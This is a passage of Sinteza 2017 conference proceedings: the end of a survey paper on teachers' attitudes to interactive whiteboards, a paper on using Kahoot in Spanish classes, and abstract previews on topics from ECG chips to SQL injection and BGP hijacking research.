Figure 1 presents other answers in the category General attitudes. It paints a positive picture of the teaching staff who are primarily flexible and open to innovation (66%) with positive attitude towards IWBs (81%), and are aware of the need to change the teaching methodology with the use of the new teaching tools (82%). Their responses also indicate a positive perception of the students' abilities to handle new technology and face the challenges (83%). The culture of innovation and teachers' beliefs are not unlike what Glover and Miller [11] report of the UK education. In addition, Hakkarainen [25] reported that teachers with experience in implementing learning technology emphasized its importance in the learning and teaching process more readily than resistant adopters, as was evident in our study. On the other hand, Smith et al. [20], in their review of literature, found evidence that the IWBs are preferred even by those who grapple with educational technology.



Fig. 1. General attitudes

The statements in the second category aimed at examining teachers' perceptions of the instructional effects of IWBs (Figure 2). The responses align with the results of the reviewed studies in the first section of the paper. First of all, the presentational value of the technology, as introduced in the literature review, was recognized by the survey participants.

IWBs provide opportunities for easier display of various materials (86%) including multimedia in concordance with the findings of Johnson [9] and Ekhaml [27]. Explanation (62%), revision (76%) and saving of the material and notes generated during the lesson (76%) were pointed out as main advantages of the tool. Kennewell [40] also documents these features as important and beneficial to the teachers he surveyed.

As much as 74% of the respondents believe that IWB increases the interactivity in class. Higgings et al. [20] and Kennewell et al. [42] found evidence which corresponds to our findings. However, only 48% of the respondents believe that the IWBs are useful for controlling the flow of the lesson with greater ease, though Glover and Miller [10] emphasize this feature in their report on new technologies. The results also show that that the teachers were well aware of the reduced time they would spend writing on the board (68%) as well as the increased time of preparation it requires (52%).



Fig. 2. Instructional effects

Statements probing teachers' beliefs on motivational effects on the students brought more diverse and less convincing results (Figure 3). The most prominent score indicates that IWBs are believed to make learning more interesting and fun (88%). Miller et al. [15] pointed out that diverse teaching strategies combined with the IWB technology could captivate and inspire students. On the other hand, the survey participants are not as convinced in the increased motivation (70%), activity (62%) and attention of the students (68%). Contrary to our findings, Beeland [47] gives priority to increased motivation and improved behavior of the students as a result of introducing IWBs in teaching. Similar studies, such as [14] and [19], also report increased interest and concentration.

Finally, responses to the statements in the last category show unanimous need for systematic training (94%). In addition, 66% of the participants expressed unease and possible feeling of embarrassment if they had to use the IWBs without sufficient training. The others have identified themselves as digitally confident enough to learn through trial and error. Other studies reviewed in this paper confirm our findings. The data is largely in line with the findings of several other studies [2], [4], [13], [19], [31].



Fig. 3. Motivational effects

Furthermore, Johnson [19] contends that teachers also need courses on transformation of their pedagogy in order to effectively employ the full potential of IWBs. He also warns that a single training session with the representative of the IWB software company is insufficient and ineffective, while acknowledging that schools do not have the time nor the funds to provide regular training and monitoring sessions.

The main limitation of the survey is that the respondents and their answers were treated unilaterally because their profiles were not taken into consideration, such as age, work experience, digital skills or previous experience with learning technology, and even gender. The analysis does not enable us to determine the correlation of these personal aspects with the respondents' affective attitudes to get a larger picture, hence the results are static.

Conclusion and recommendation

The objective of this paper was to map the affective attitudes of the teaching staff at the Faculty of Philosophy in Kosovska Mitrovica and the Business School of Applied Studies in Blace with regards to the implementation of interactive whiteboards in their teaching. In addition, the paper presented a review of research literature on the topic in order to find validation for the results of our study. The relevance of the study is reflected in the recent acquisition of the IWB technology which is offered to the teachers without a systematic approach to their training.

The study was realized through an online questionnaire administered to 68 teachers from both institutions with 50 responses and overall response rate of 73%. The statements were divided into 4 categories — general attitudes, instructional effects, motivational effects, and the need for training — and labeled on a five point Likert scale. The obtained data was, in general, aligned with the findings of the reviewed studies. Most respondents have a positive attitude toward the IWBs and recognize their instructional value. However, the perceived potential for increased motivation and participation of students was lower than expected or otherwise reported in the reviewed studies.

In conclusion, the results of the survey indicate a positive environment for successful integration of IWB technology with a strong emphasis on scaffolding and professional development opportunities. To fully exploit many potential affordances of the IWBs, the training program would have to be continuous, repetitive, comprehensive in terms of providing technical and pedagogical support, and multi-modal including peer training and monitoring. In addition, an institution-wide IWB culture should be nurtured and supported from the top, so that the grass roots can innovate and advance their teaching practice for the benefit of learning.

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APPENDIX 1 - QUESTIONNAIRE

I General attitudes

- 1. I like using IWB technology in my lessons.
- 2. I feel uncomfortable using IWBs in front of my students.
- 3. I have positive attitudes toward the use of IWBs in teaching.
- 4. I have negative attitudes toward the use of IWBs in teaching.
- 5. I do not think my students are ready for this technology.
- 6. What I do in class with traditional methods is sufficient for teaching.
- 7. I am not the type to do well with IWB-based applications.
- 8. There is no difference between my use of a traditional board and an IWB in terms of teaching techniques and methods.

II Instructional effects of IWBs

- 9. Using the IWB resources reduces the time I spend writing on the board.
- 10. When using IWBs in the classroom, I spend more time for the preparation of the lesson.
- 11. Using IWBs makes it easier to reach different sources and display them to the whole class immediately.
- 12. IWBs are beneficial for saving and printing the materials generate during the lesson.
- 13. I can give explanations more effectively with the use of IWBs.
- 14. With the help of using the IWB, I can easily control the whole class.
- 15. I think IWBs can be a good supplement to support teaching.
- 16. Using IWBs makes me a more efficient teacher.
- 17. Using IWBs makes it easier for a teacher to review, reexplain, and summarize the subject.
- 18. I believe IWB is a useful technology for teachers to learn.
- 19. Using IWB makes the lessons more interactive.

III Motivational effects of IWBs

- 20. I think IWBs make learning more enjoyable and more interesting.
- 21. I can keep my students' attention longer with the help of IWB technology.
- 22. I think IWBs increase the interaction and participation of the students.
- 23. I think my students are more motivated when I use an IWB in my lessons.

IV Need for training

- 24. I believe that training is required to teach with IWB technology.
- 25. If I do not get sufficient training, I do not feel comfortable with using IWBs in the classroom.

GAMIFICATION IN FOREIGN LANGUAGE TEACHING DO YOU *KAHOOT* ?

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Abstract:

The use of ICT tools in traditional classrooms has become essential in recent years, due to the rapid introduction of new technological tools (tablets, smartphones), as well as new programs and applications that offer a huge number of possibilities applicable in teaching. The combination of traditional ways of teaching with the incorporation of (on-line) games, or "gamified activities" can prove to be a good strategy in foreign language teaching. As a relatively new pedagogical strategy, gamification implies the use of game elements and game design techniques in a non-game context, such as classroom. The tool that will be presented in this paper is Kahoot, an online free application accessible for the teachers of all subjects and suitable for foreign language classes. According to the students' responses, positive results of this gamifying application would be: increase of motivation, easiness of grammar or lexical revision, better acquisition of new structures, and maybe the most important: increase of positive relations with the teaching subject.

Keywords:

ICT, language learning, gamification, Kahoot.

1. INTRODUCTION

The selection of teaching strategies in foreign language teaching might be accurate, in order to achieve successful learning, but it is also necessary to create a relaxed atmosphere in the classroom which will make all kinds of learners feel comfortable [1]. On the other hand, as in all aspects of human life, ICTs have become an increasingly indispensable medium in educational institutions where they can play multiple roles. Certainly, language teachers need to know how to relate the knowledge of motivation concepts and principles to their classrooms and to their instructional roles in the teaching and learning process [2]. That is why the concept of game-based learning and gamification¹ are having significant relevance in language teaching contexts, where the games do not only have a playful character but are also important learning support material.

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e-mail: mveljkovic@singidunum.ac.rs 1 There is a difference between concepts of Game-Based Learning and Serious Games and Gamification, because in gamification game elements add an extra layer over existing educational activities, while GBL and SG use games as the training or learning medium. INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

When used in non-game contexts, game elements can trigger motivation, effective player engagement, as well as persistence to win or learn.

For that reason, the main objective of this paper is to recognize the value and to encourage the use of gamified ICT medium as a teaching tool in foreign language teaching and learning. More precisely, to demonstrate that the digital learning platform named Kahoot can be used as an important didactic tool by which teachers can achieve different educational purposes: introduce, review and evaluate didactic contents, and- at the same time- increase the motivation, attention and learning autonomy of their students. In that context, teachers' skills in using digital technology and pedagogical knowledge are fundamental for successful teaching and learning. On the other hand, students' results and opinion is also relevant regarding "gamification", as well as satisfaction and achievement during their learning experience.

Gamification in educational environment

In recent years, debates on games, video games and education, which were traditionally based on discussions of their social consequences, have been much more creatively focused, particularly as a result of the emergence of two approaches: serious games and gamification [3]. However, games have always been recognized as an important aspect in the development of people: they stimulate creativity, encourage communication and socialization, develop body and senses, and serve as a manner of expression and emotional control. Play is a free and meaningful activity which is common to all cultures, and which existed before all cultures [4].

Although the principles of gamification certainly existed in a pre-digital world, the term gamification gained widespread usage around 2010, when the immersive quality of digital games incited remarkable innovation in the study of learning mechanisms. Gamification as a "powerful tech neologisms" is the first viable term to "encapsulate the concept of using game concepts outside of games" [5]. Nevertheless, gamification does not refer solely to playing. Recent studies in fields other than education (marketing, human resources, etc.) have highlighted gamification as a significant means to improve the production and creative talent of persons [6].

From this perspective, by gamification- we refer to the use of game mechanism in non-play environments and non-play applications, in order to enhance motivation, concentration, effort, and other positive values common to all games. This new strategy stimulates and motivates groups of people, like in classroom. Therefore, gamification in educational environment is gaining support among teachers, who recognize that effectively designed games can provide a significant increase in productivity and creativity of students, who are motivated by the rewardand-feedback systems that characterize the experience of play [7]. In that context, playing and learning share many common elements: both are goal-directed activities, that include rules or standards of behaviors, and present goals that constitute an object of aspiration for students/players [8].

Advantages of gamification in teaching and learning

All games generally share similar characteristics: they are voluntary activities with established time limits and a series of rules which induce tension, serve as an incentive, and engage participants. In that context, games also play an important role in the learning process that takes place during childhood and adulthood. Repeating data until memorizing them is certainly not the most effective way to learn. For that reason, motivation represents one of the most important factors in gamified teaching, as one of the essential aspects in the game engagement. That is why factors such as emotion, surprise and experimentation are some of the ingredients needed to improve knowledge [9].

According to neuroscientists, emotion is the secret ingredient of successful teaching and learning, fundamental element for both teachers and students because we can only learn what we love [10]. That means that the process of learning is dependent on the subject's sympathy for the topic. The interplay of emotion and cognition is indissoluble and play is a form of "disguised teaching", an important tool to stimulate curiosity, focus attention, and enhance memory, thereby promoting learning in the classroom.

In that context, playing and learning share many common elements: both are goal-directed activities, that include rules or standards of behaviors, and present goals that constitute an object of aspiration for students/ players [8].

Some of advantages of gamification incorporated in language classroom are following:

- Modifies the mood within the classroom;
- Increases learners' feeling of happiness; ٠
- Provides breaks from learner's fatigue; ٠
- Increases motivation and improve attention;
- ٠ Increases student's engagements in the classroom activities;

- Stimulates a goal oriented activity;
- Makes learning fun.

That is the reason why game is often used in second language teaching, as a source of motivation and an incentive to practice the language.

Role of the teacher in the gamified language learning

Many teachers have long recognized the value of games in second and foreign language learning, and that they can be a very serious activity: offering an excellent solution to situations that teachers and learners face in classrooms all over the world: demotivation and detachment. The gamification of learning as an educational method motivates students to participate and be involved in the learning process. In that context, teachers introduce gamified activities in order to achieve different positive purposes: to create a relaxed and participative atmosphere in the classroom; to make students feel confident during learning; to evaluate contents of the teaching subject in more relaxed way; to encourage creativity and sociability, among other advantages [11].

For that reason, the importance of the role of teachers is fundamental in this process, in order to achieve their main objective: successful learning.

Language teachers' competences might be multiple: beside linguistic and digital skills, their pedagogical knowledge is essential ("TPACK competences") [12].

In that context, before using or creating a language practice or activity for the class, it is necessary to:

a) know what types of exercises to choose to practice a language or to evaluate the knowledge of a language;

b) know whether an exercise that we select for such

a practice is viable, reliable, non-discriminatory;

c) have knowledge and skills in order to criticize existing teaching materials;

d) know how to create our own materials: teacher user-teacher creator [13].

Therefore, for well-prepared activities, teacher's guidance and clear objectives are fundamental in order to for the students to learn and have fun at the same time [14]. In that context, when teachers decide to use a gamified tool in the classroom, they should first consider the needs of students (their age, level, personality), then- that the ludic component is focused on objectives and content, and finally, that the activity has clear rules so that students do not have difficulties when they carry it out.

Gamification tool: Kahoot

In presenting different web tools for the purpose of gamification in our classroom, such as an ICT support for the learning process through the use of mobile devices such as laptops and tablets, MP3 players, smartphones and mobile phones (also called mobile learning), we would say that there is a really huge number of tools commonly used for classroom activities in modern language teaching². Nevertheless, in this paper we will present *Kahoot*, a free game-based learning platform that makes it fun to learn (https://getkahoot.com/).

Kahoot can be used as a student response system which contains options like quizzes, discussions and surveys that challenge students to learn and make them participate in the learning process.



Figure 1. Linking Meauserments to Strategy[3]

Though it can be compared to tools like *Plickers* or *Socrative*, *Kahoot* is different, because it incorporates gamification elements, which make the learning process fun and engaging. It is not just a one-way teaching tool, in which the teacher creates questions and students are limited to answer in real time, competing with each other (hence the game-based learning). It promotes active learning of students, which influences students' engagement, participation in the class, and collaboration with other students, sharing knowledge [15].

Teachers can create their own Kahoots adapted to the needs, level of knowledge and interests of their students. Questions, along with answer choices, created by a

² Plickers; Storybird; Quizalize app; Learn a language; Rockalingua; Classtools.net; Cerebriti; Lyrics training; Tinytap.it; Quia.com; Taskmagic; Textivate.com; Quizlet live; Duolingo; Classdojo; Educaplay; TinyTapit; Wizer.me; Quizizz; Tiger

teacher, are projected on a classroom screen or projection, while students submit responses using a mobile device (smartphone, tablet, notebook, etc).



Every Kahoot has a game PIN number, which the students have to type in their devices and then write their names (or nicknames), and then the "game" can start: students must answer 20 different questions or exercises, previously discussed in class (grammar, vocabulary, communicative functions, etc.) with the limited time of 20 or 30 seconds for each response. In this paper, the *Kahoot* quiz that has been created for a group of students³ will be presented and it could be performed for the following purposes:

a) "Flipped classroom": Students are asked to consult information first (read a text on the Internet or in the textbook, watch a video, listen to a recorded material, etc.) so that later, in class, through the *Kahoot* quiz, teachers can check what students have learned and which concepts or structures have been less successfully understood or learnt.

b) "Icebreaker activity"⁴: before teaching a new subject or linguistic structure, teachers can make a questionnaire as a "warm-up" activity or introduction to the subject, to encourage the students' participation and engagement. This is particularly advisable option to apply in order to get students interested in activity and relax them at the same time, in front of the new topic or teaching subject which could be more complex or not that attractive educational content.

c) "Review activity": a questionnaire is made on the most relevant points previously worked on in the classroom, so that the students can be self-evaluated and the teacher receives feedback with all the necessary information on students' achievement, in order to refine his/ her class planning and improve the teaching-learning process.

The example of a Kahoot online game, which will be presented here as a class activity, is the third type described above, named "Review activity". The students will "play" grammar and vocabulary exercises concerning the structures and topics which were introduced and practiced during the previous class. All the students in class, were asked to bring (or to share with a peer) their own device in order to perform this "digital-interactivegamified-competitive" language exercise.



The chosen topic was "Spanish cousin" which was the title of a unit of the textbook, presenting the vocabulary related to food, Spanish regional cousin, habits, common expressions, etc.



The activity also contains grammar exercises aimed at practicing the Spanish conditional verb form (El condicional) which was introduced and explained in the previous class.

³ This example of practice with Kahoot.it online game has been performed with students attending the classes of general Spanish language course (level B1 according to CEFRL) at Singidunum University, Faculty of Tourism and Hospitality Management.

⁴ Pedagogical model in which the traditional class, lecture and homework elements of a course are reversed (Alvarez, 2011). It implies active learning and students' engagement out of the class. Aaron Sams and Jonathan Bergmann are considered the pioneers of this way of teaching.



When the game is over, both the students and the teacher receive the results instantly and the feedback becomes immediate, through following questions: How fun was it? Did you learn something? Would you recommend it? How do you feel?

The scoreboard will display the top five results, and the students will be able to provide feedback about the quiz with a star rating, yes/no questions and smileys. Once they do that, teachers will be able to collect the entire information as an Excel file or directly on the Google Drive account.

Then, teachers can see the results of each student, individually, since this application generates an Excel sheet of each game. The document will show student's name, correct and incorrect answers from the total amount of questions, the final score and individual answer for each question. The overall performance: percentage of total correct questions, total erroneous answers and total score are also shown, in another column.

With this group of students the following results were obtained: 74.75% correct answers, and 25, 25% of the total responses were incorrect. Most of the students rated their learning experience very highly. It is visible through this questionnaire result – with 100% positive responses to the questions regarding learning, feelings and recommendation.

A	B	С	D	E	
Overall Performance					
Total correct answers (%)		74.75%			
Total incorrect answers (%)		25.25%			
Average score (points)		10688.29 points			
		-			
Feedback					
Feedback How fun was it? (out of 5)		4.60 0	it of 5		
Feedback How fun was it? (out of 5) Did you learn something?		4.60 or	it of 5 % Yes	0.00% No	
Feedback How fun was #? (out of 5) Did you learn something? Do you recommend #?		4.60 or 100.00	it of 5 % Yes % Yes	0.00% No 0.00% No	

The results of students achievements (which were also very high), and results of their opinions about the learning experience are very important factors for teachers in order to be able to evaluate not only this specific activity, but also their decisions related to preparation of language class sessions. With these results that the game provides, the teachers can also comprehend whether students have more difficulties, or what aspects they have assimilated or learned well.

Conclusion

As a gamification teaching tool Kahoot is recommendable for all universities or educational institutions where there is a rapid connection to the Internet. Nevertheless, it is not necessary that all the students have a mobile device because they can perform with peers or in small groups, solving questionnaires, quizzes or educational games together, in pair or team work.

The main advantages of this tool that have been recognized are the following: a) No need for previous software, it is free and easy to use. b) Questions can be done without any complex work, on any topic or structure. c) Images or videos in questions, in order to incorporate a visual element like incentive for learners are also included. d) The answers are obtained from each student, or as group responses, depending on the form of questionnaire which was determined by a teacher. e) All responses are recorded and stored in an excel format, allowing the teacher evaluation and feedback.

On the other hand, technological innovation, and availability of technical and digital equipment does not imply a pedagogical innovation itself, because of the indispensable role of the teacher, who will be able to create an appropriate organization and strategy for a specific pedagogical task, where there are well-defined objectives, contents, methodology, activities and evaluation criteria. For that reason, *Kahoot* can have limitations from a foreign language pedagogical perspective. If not used properly, this type of activity can cause a bit of "fatigue" and demotivation (when used very frequently), or with insufficient clarity of questions and answers.

Therefore, it is advisable to apply this type of quizzes moderately, with clear and precise objectives, and always with feedback, in order to enrich the evaluation and improve the teaching-learning process.

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A SELF-POWERED BIOMEDICAL SOC PLATFORM FOR WEARABLE HEALTH CARE

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Abstract:

This paper will focus on Systems-on-Chip (SoCs) presented as a part of the UAE SRC (Semiconductor Research Corp) Center of Excellence on Energy Efficient Electronic Systems (aka ACE4S http://www.src.org/program/grc/ ace4s/) which involves researchers from 5 UAE Universities who look at developing new technologies aiming at innovative self-powered wireless sensing and monitoring SoC platforms. The research targets applications in self-powered chip sets for use in public health, ambient intelligence, safety and security and IoT. ACE4S is the first SRC center of excellence outside the US. One such application, which we will discuss in details, is a ground breaking self-powered SoC platform for wearable health care. More specifically, we will present a novel fully integrated ECG signal processing system for the prediction of ventricular arrhythmia using a unique set of ECG features extracted from two consecutive cardiac cycles. Two databases of the heart signal recordings from the American Heart Association (AHA) and the MIT PhysioNet were used as training, test and validation sets to evaluate the performance of the proposed system. The system achieved an accuracy of 99%. The ECG signal is sensed using a flexible, dry, Graphene-based technology and the system is powered up by harvesting human thermal energy. The system architecture is implemented in Global foundries' 65 nm CMOS process, occupies 0.112 mm2 and consumes 2.78 micro Watt at an operating frequency of10 KHz and from a supply voltage of 1.2V. To our knowledge, this is the first SoC implementation of an ECG-based processor that is capable of predicting ventricular arrhythmia hours before the onset and with an accuracy of 99%.

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Keywords:

ECG, CMOS, IoT, machine learning.



ABSTRACT PREVIEW

SINTEZA 2017

THE USE OF AUTOMATED MACHINE LEARNING METHODS AND TOOLS IN DATA SCIENCE

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Abstract:

Data Science needs powerful and efficient, yet comprehensive and easy methods and tools to use. Machine learning methods are especially important for generating useful knowledge and insights from rapidly growing amounts of data. However, their use is not always straightforward. Full or partial automation of a machine learning process has been a long-time goal which has become increasingly important during the last couple of years. In this work, fully automated machine learning tools for typical data science tasks are discussed. An empirical comparison of actual automated machine tools and common manual methods is provided for different programming environments based on Java, R and Python languages.

Keywords:

Data Science, Machine Learning, Automated tools, Java, R, Python.



SINTEZA 2017

BGP: PREFIX HIJACKING SIMULATION AND ANALYSIS

Dunja Majstorović

Abstract:

As one of the most important Internet protocols, BGP - Border Gateway Protocol - should be among the most secure and reliable. Unfortunately, it is not. The basic, most used version of the protocol is not resistant to the "prefix hijacking" attack, and yet even though some solutions exist, they are not as widespread as it is necessary for them to work. In this paper, we examine several basic protection methods and analyse their effectiveness by simulating hijacking of a prefix in a small backbone network. Several scenarios are demonstrated: first we attack an unprotected network, then repeat the attack after applying a filter, and after manipulating several BGP attributes the attack is repeated.

Correspondence: Dunja Majstorović e-mail: majstorovic.dunja.rs@ieee.org Keywords:

BGP, Internet Security, Prefix Hijacking.



INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

ABSTRACT PREVIEW

SINTEZA 2017

DISTANCE LEARNING AND LIFELONG ADVANCED TRAINING OF PROFESSIONAL COMPETENCE OF PRESCHOOL TEACHERS AND TEACHERS

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Abstract:

Contemporary pedagogical trends include lifelong professional development of preschool teachers and teachers. Educational work with preschool children and younger school - age children requires significant pedagogical skills and knowledge of preschool teachers and teachers. The adjustment of teaching style of preschool teachers and teachers to each child individually is very important. Preschool teachers and teachers have a legal obligation to attend professional training at accredited seminars in Serbia which are mainly organised over the weekend. The question is whether these teachers can plan their time more effectively and acquire new professional skills via e-learning. It is known that e-learning is an integral part of the educational system in the modern world. In this context, an individual can plan his/her time as he/she deems it most appropriate in order to study and acquire education. The main objective of this work is to detect whether educators and teachers are aware of the advantages of distance learning and the possibilities of development of their professional competences. Afterwards, its aim is to determine whether there are statistically significant differences in terms of acceptance of the possibilities of e-learning and lifelong training between preschool teachers and teachers. After the statistical analysis, we concluded that there are no significant differences in terms of acceptance of e-learning between preschool teachers and teachers. Significant statistical differences were observed among the variables of sex, age and professional experience among the respondents of our sample. The sample included 300 preschool teachers and teachers from Kikinda, Belgrade, Novi Becej and Zrenjanin.

Keywords:

preschool teachers, teachers, e-learning, lifelong learning.



SINTEZA 2017

DEVELOPING AND PERFORMING AN SQL INJECTION ATTACK ON A VULNERABLE WEB APPLICATION

Strahinja Nedeljković¹, Saša Adamović¹

¹Singidunum University, 32 Danijelova Street, Belgrade, Serbia Abstract:

In this paper we discuss the security exposures of a Web application that occurs due to a well known SQL Injection attack. We will perform an evaluation of the current protection systems in charge of preventing this type of attack, using penetration testing tools (SQLMap, Hash identifier and Hashcat) in Kali Linux distribution. Everything previously mentioned will be done in details performing a case study in which an access to the database entities approaching classified information will be demonstrated.

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Keywords:

SQL Injection, Web applications, Kali Linux, SQLMap, Hash identifier, Hashcat.



INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

ABSTRACT PREVIEW

SINTEZA 2017

LABOUR MARKET IN THE INTERNET OF THINGS ERA - OPPORTUNITIES AND THREATS

Marina Savković1

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Abstract:

Internet of Things and robotisation deeply change contemporary labour market conditions. Some authors consider those as threats to current jobs, the others are optimistic regarding productivity increase and new jobs creation. In this paper we will summarise perspectives and try to give a comprehensive picture of technological factors that will positively or negatively shape labour market in the future. The final effect of Internet of Things on labour market trends will depend on policies that address the analysed threats and opportunities. We also suggest set of policies that could stimulate positive Internet of Things net effect on labour market issues.

Keywords:

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Internet of Things, labour market, technological change, opportunities and threats, effective job creation policies.



THE USE OF LEARNING MANAGEMENT SYSTEM IN FOREIGN LANGUAGES TEACHING IN TECHNICAL UNIVERSITY

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Abstract:

The article is devoted to the issues of informatisation and computerisation of the humanitarian block of higher technical education in Russia. Data on e-learning development pace in Russian education among countries in Eastern Europe and the need for developing appropriate teaching methods are presented. The paper covers E-learning in acquiring a foreign language for which a modular virtual learning system has been chosen as the basic tool. The purpose of the article is to analyse the advantages of using a blended model in foreign languages teaching which combines classroom activities, e-learning and distance course. Language learning components that can be implemented with the use of a virtual learning system are defined.

Keywords:

blended learning, Learning Management System, e-learning, foreign languages teaching.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

ABSTRACT PREVIEW

SINTEZA 2017

THE USE OF NIGERIAN LANGUAGES IN FORMAL EDUCATION: CHALLENGES AND SOLUTIONS

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Ajiteru

Abstract:

Language plays an important role in teaching and learning situations, not only as a subject taught in school but also, as the vehicle through which information is shared between the learner and the teacher. It is therefore important to use an appropriate language in education. The word appropriate in this sense means a language that can effectively capture and interpret all the aspirations of the teacher to the learner in a way that he or she best understands. The trend all over the world especially among the developed countries is that the Mother Tongue is equally used in the school system as the medium of instruction. This factor has helped those countries (China, Japan, India, and South Africa to mention but a few) in no small way in achieving an enviable development among the committee of nations because learners are able to transfer concepts learnt in the mother tongue easily. However, it is sad to note that Nigeria, a multilingual with over 400 living languages seems to be reluctant to tap into the benefits of using the Mother Tongue in its system of education. This paper delves into the various challenges that confront the adoption of an indigenous language as a medium of instruction in formal education in Nigeria and their solutions. Keywords: Mother Tongue, Language of Education, Challenges, Solutions, Formal Education.

Keywords:

Language, Education, Nigerian, System, Solution.



DOES MODERN TEACHING NECESSARILY INVOLVE MODERN TECHNOLOGIES: THE CASE OF A LARGE, MULTILEVEL EFL GROUP

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Abstract:

Modern language teaching is commonly associated with modern technologies and the phenomenon of ICT. Anyhow, despite the fact that we are surrounded by ICT in every sphere of human endeavour, and that its effects are recognised as positive and largely integrated in foreign language teaching, modern language lessons do not necessarily need the continuous support of modern technologies and can hardly rely solely on it.

Teaching large and multilevel groups can be a rather demanding task for language teachers, as approaching beginner and advanced-level students simultaneously requires much patience and numerous skills.

The aim of this paper is two-fold - to provide an insight into the difficulties EFL teachers usually face in large, multilevel classrooms, and – to introduce the benefits of a hybrid, communicative-personalised method with the objective of facilitating and improving language teaching/learning process. The paper illustrates both an EFL teacher and EFL students experiences and reactions to the method introduced in their classroom.

In the time frame encompassing two terms, a rather large, multilevel group of first-year university students was exposed to a communicative-personalised language teaching method, the goal of which was to make them all active. Above all, the method aimed at meeting their personal needs, by keeping them motivated. The employed method included quizzes, role-plays, as well as numerous task-based activities, supported with accompanying audio-visual prompts.

Having the students all engaged and interconnected eventually reached the goal of neither demotivating the advanced-level nor threatening the beginner-level students. For that reason, both the EFL students and the teacher enjoyed the classroom atmosphere and agreed on numerous benefits of the implemented, communicative-personalised method, occasionally supported by ICT, but dominantly relying on humanistic approach and its postulates.

Keywords:

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Higher education, EFL, ELT, Large and multilevel groups, ICT, Humanistic approach, Hybrid method.



ABSTRACT PREVIEW

SINTEZA 2017

PREDICTING PRIMARY ORIGIN OF CANCER FROM SAMPLES MUTATION PROFILES

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Abstract:

When cancer is found in one or more metastatic sites but the primary site cannot be determined, it is called a cancer of unknown primary origin (CUP). The American Cancer Society estimates that about 33,770 cases of cancer of unknown primary origin will be diagnosed in 2017 in the United States. This number represents about 2% of all cancers with usually poor prognosis. We introduced a classification model for predicting cancer primary origin using publicly available (exome) sequencing data for 3357 samples diagnosed with one of 6 different cancer types. To be more precise, we used Linear discriminant analysis (LDA) on sparse Partial Least Squares (sPLS) components to avoid the common problem in genomics - high number of features with much smaller number of samples. Only by using genomic features from sequencing data we achieved the accuracy of 0.65, compared to primitive classifier (majority class) of 0.29 accuracy. With more features (e.g. samples gender and age), we expect that accuracy can further be improved. We hope that accuracy can be improved to an even higher level, so that clinicians can use our model as a guide and help when choosing the most appropriate treatment for patients diagnosed with CUP.

Keywords:

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Cancer prediction, Cancer of Unknown Primary, Classification, Partial Least Squares regression.



UTICAJ LETENJA BESPILOTNIH VAZDUHOPLOVA NA BEZBEDNOST VAZDUŠNOG SAOBRAĆAJA

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Rezime:

Razvoj novih vazduhoplovnih i informatičko-komunikacionih tehnologija je u zadnjoj dekadi doveo do ekspanzije letenja bespilotnih vazduhoplova i njihovoj sveučestalijoj primeni u raznim delatnostima. U istom periodu povećao se i intezitet vazdušnog saobraćaja, kako komercijalnog, tako i sportskog. Naglo povećanje broja korisnika vazdušnog prostora, različitih kategorija i vrsta, dovodi do povećanja verovatnoće nastanka vanrednih situacija u vazdušnom saobraćaju. Cilj ovog rada je da sa aspekta bezbednosti letenja identifikuje potencijalne hazarde koji proizilaze iz letenja bespilotnih vazduhoplova i stepen rizika koji izazivaju na ostale učesnike vazdušnog saobraćaja. Klasifikacijom hazarda i stepena rizika u odnosu na faktore bezbednosti letenja omogućava se definisanje efikasnih i efektivnih mera za povećanje bezbednosti vazdušnog saobraćaja.

Ključne reči:

bezbednost letenja, hazard, rizik i mera za povećanje bezbednosti.



ABSTRACT PREVIEW

SINTEZA 2017

POVEZANOST KOMUNIKACIJE I TEHNOLOGIJE U E-OBRAZOVANJU

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Rezime:

U sistemu visokog obrazovanja u Srbiji danas postoji nekoliko desetina akreditovanih studijskih programa na daljinu. Sve je veći broj fakulteta i visokih škola u svetu, a danas i u Srbiji, koji imaju pojedine onlajn kurseve ili predmete, kao i specijalizacije za zaposlene u poslovnim organizacijama, zasnovane na elementima za e-obrazovanje. Savremena komunikacijska tehnologija u obrazovanju na daljinu pruža osnovicu za raznovrsne oblike komunikacije. Komunikacija se ovde odvija na dva nivoa - na verbalnom i neverbalnom. U radu se istražuje kako su student akreditovanih studija na daljinu za vaspitače u Srbiji ocenili vrstu i nivo komunikacije i upotrebu novih tehnologija u sopstvenom školovanju. Zadatak rada je da se analizira verbalno i neverbalno prezentovanje sadržaja i oceni komunikacija između pojedinaca i grupa. Biće analizirana verbalna i neverbalna socijalna podrška i povratne informacije pojedincima i grupi; komunikacija, saradnja i funkcionisanje tzv. socijalne mreže unutar grupe polaznika. Rezultate dobijene u ovom istraživanju mogu da koriste visokoškolske institucije prilikom akreditacije i reakreditacije studijskih programa za studiranje po principu na daljinu, kako bi poboljšali svoje kurikulume i tehnologije. Mogu da budu korisni i za akreditaciju programa stručnog usavršavanja.

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Ključne reči:

komunikacija, tehnologija, e-obrazovanje.



PREDNOSTI I MANE ELEKTRONSKOG TESTIRANJA STRANIH JEZIKA

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Rezime:

U Srbiji upotreba savremenih tehnologija polako ali sigurno postaje neodvojvi deo nastavnog procesa na svim obrazovnim nivoima, u osnovnim, srednjim školama i na univerzitetima. U nastavi stranih jezika posebna pažnja se posvećuje pripremi digitalnih materijala, kako bi se strani jezik približio učenicima i studentima, i na taj način im se omogućilo da čuju i vide izvorne govornike.

Upotreba IKT-a sa jedne strane zavisi od kompetencija nastavnika, a sa druge strane od opremljenosti prostora i brzine interneta. Iako su istraživanja pokazala da se prosečna ocena neke grupe studenata ili odeljenja neće povećati pri češćoj upotrebi savremenih tehnologija u nastavnom procesu, mora se prihvatiti da su savremene tehnologije vid komunikacije koji će nam olakšati kontakt sa digitalnom generacijom sa kojom radimo.

Međutim, iako postoji složan stav među nastavnicima stranih jezika da je upotreba IKT-a u nastavi stranih jezika vrlo značajna, sa druge strane postoji i vrlo složan stav da je nemoguće sprovesti elektronski test iz stranog jezika koji će dati objektivnu sliku o znanju onoga ko test polaže.

Cilj ovog rada je da prikaže upotrebu platforme M Tutor na Univerzitetu Singidunum, njene prednosti i mane i mišljenja, kako studenata, tako i nastavnika stranih jezika. U radu se pošlo od hipoteze da je nemoguće objektivno testirati znanje stranih jezika putem platforme.

